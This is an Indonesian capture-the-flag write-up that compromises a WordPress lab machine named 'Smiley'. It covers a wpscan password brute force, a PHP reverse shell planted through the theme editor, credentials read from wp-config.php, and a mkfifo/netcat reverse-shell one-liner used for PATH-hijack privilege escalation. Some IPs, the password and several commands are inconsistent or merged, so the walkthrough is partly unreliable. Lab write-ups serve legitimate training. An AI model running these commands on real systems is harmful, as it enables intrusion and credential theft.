Wizard Security - Smiley



Target: 10.1.1.102
Kode nama: Smiley
Tujuan: seek the flag
Perangkat lunak: N-Map, WP-Scan, NC dan PHP-reverse-shell
Tanggal kegiatan: 28 February 2020


Bruteforce attack dapat dimanifestasikan ke dalam berbagai banyak cara, misalnya dengan melakukan request ke server menggunakan parameter - parameter tertentu dan kemudian menganalisa responsnya. Bruteforce attack juga dapat dikatakan sebagai metode "try and error". Dalam praktiknya, penyerang dapat menggunakan dictionary/wordlist atau sebuah berkas yang berisi susunan huruf, angka dan karakter khusus. Dalam proses pembuatan wordlist bruteforce attack, biasanya dilakukan metode reconnainssance ataupun information gathering yang berhubungan dengan target. Bruteforce attack dapat juga diimplementasikan kedalam beberapa tekhnik misalnya cracking atau memecahkan kata sandi untuk mendapatkan otentikasi, mencari konten/halaman tersembunyi dalam sebuah aplikasi web dan masih banyak lagi.

Dalam pengujian bruteforce kali ini, penulis menggunakan mesin "smiley" dari wizard security sebagai targetnya.

Wizard Security: https://labs.wizard-security.net

1. RECON

Apabila halaman aplikasi web "smiley" dikunjungi, maka penulis akan menemukan sebuah postingan yang berisi sebuah kutipan perkenalan dari seseorang yang bernama "smiley". Boleh jadi "smiley" adalah sebuah username yang digunakan oleh aplikasi web tersebut.

Selanjutnya penulis mencoba mencari tahu, sedikit lebih banyak baik berupa konten - konten, plugin - plugin, ataupun CMS yang digunakan oleh aplikasi web "smiley", dengan menggunakan tools "nikto" penulis menjalankan perintah seperti berikut.

$ nikto -h http://10.1.1.202
  /wp-login.php: Wordpress login found

Berdasarkan hasil scanning nikto, penulis menemukan adanya halaman login dari CMS wordpress.

Smiley: http://10.1.1.202/wp-login.php

2. BRUTEFORCE ATTACK

Setelah menemukan data berupa username "smiley" dan halaman login melalui hasil scanning nikto, berikutnya adalah mencari tahu kata sandi atau password yang digunakan oleh user "smiley". Penulis menggunakan tools "wpscan" untuk melancarkan serangan bruteforce serta wordlist "rockyou.txt" yang sudah disiapkan oleh Kali Linux. Berikut adalah perintahnya

$ wpscan --url http://10.1.1.202 --passwords /usr/share/wordlists/rockyou.txt --usernames smiley

Bingo! penulis berhasil mendapatkan password dari user "smiley". Selanjutnya lakukan login kedalam aplikasi web CMS smiley.

3. RCE 

Penulis melakukan reverse shell melalui edit theme twentysixteen bawaan CMS wordpress, lalu pada source code theme tersebut diganti menggunakan php-reverse-shell. 

Edit theme: http://10.1.1.202/wp-admin/theme-editor.php?file=header.php&theme=twentysixteen

Bukalah jendela terminal baru untuk membuat listening port dari "netcat".

$ nc -lvnp 443

Setelah selesai memasukan php-reverse-shell pada editor theme CMS, kemudian klik "Update File", dan perhatikan pada  jendela listening port "netcat".

Jalankan perintah berikut untuk melakukan spawning pty dari python, dimana spawning berikut digunakan untuk mengupgrade dari shell dumb menjadi shell sh, karena shell sh lebih interaktif.

$ python -c 'import pty; pty.spawn("/bin/bash")' 

Pada folder home penulis menemukan adanya user lain yakni "mike", tetapi penulis tidak bisa mengakses foldernya "mike" karena dibatasi oleh password.

Selanjutnya penulis melakukan information gathering dari source code aplikasi web "smiley" melalui web servernya, dengan cara:
$ cat /var/www/html/wp-config.php 

Penulis pun mendapatkan sebuah password dari berkas wp-config.php, kemudian penulis mencoba menggunakan password tersebut untuk melakukan login ke user mike.

$ su mike 
$ password : Il0veW0rdpress 
$ cd /home/mike 
$ cat user.txt 

4. ESCALATION PRIVILEGE

Selanjutnya penulis mencoba mengakses web server "smiley" melalui service SSH dengan username mike dan passwordnya adalah Il0vew0rdpress.

$ ssh mike@10.1.1.102$ cd /home/mike 
$ cat > sleep /bin/rm /tmp/f;/usr/bin/mkfifo /tmp/f;/bin/cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.253.0.38 4499 >/tmp/f 
$ chmod +x sleep$ nc -lvnp 4499$ ./listwww 
$ export PATH=/bin:/sbin:/usr/bin:/usr/sbin 
$ cat /root/root.txt 


5. KESIMPULAN

Selain berpotensi pencurian password, bruteforce attack juga memiliki risiko terhadap load sebuah server atau dapat mengakibatkan respond sebuah web server menjadi lambat dikarenakan terlalu banyak menerima request login attempt. Bruteforce attack dapat dicegah dengan cara mengimplementasikan captcha atau limitasi pada halaman login. Kemudian penggunaan kata sandi yang kompleks misalnya memiliki panjang karakter, kombinasi angka, hurup dan karakter khusus akan membantu memperlambat bruteforce attack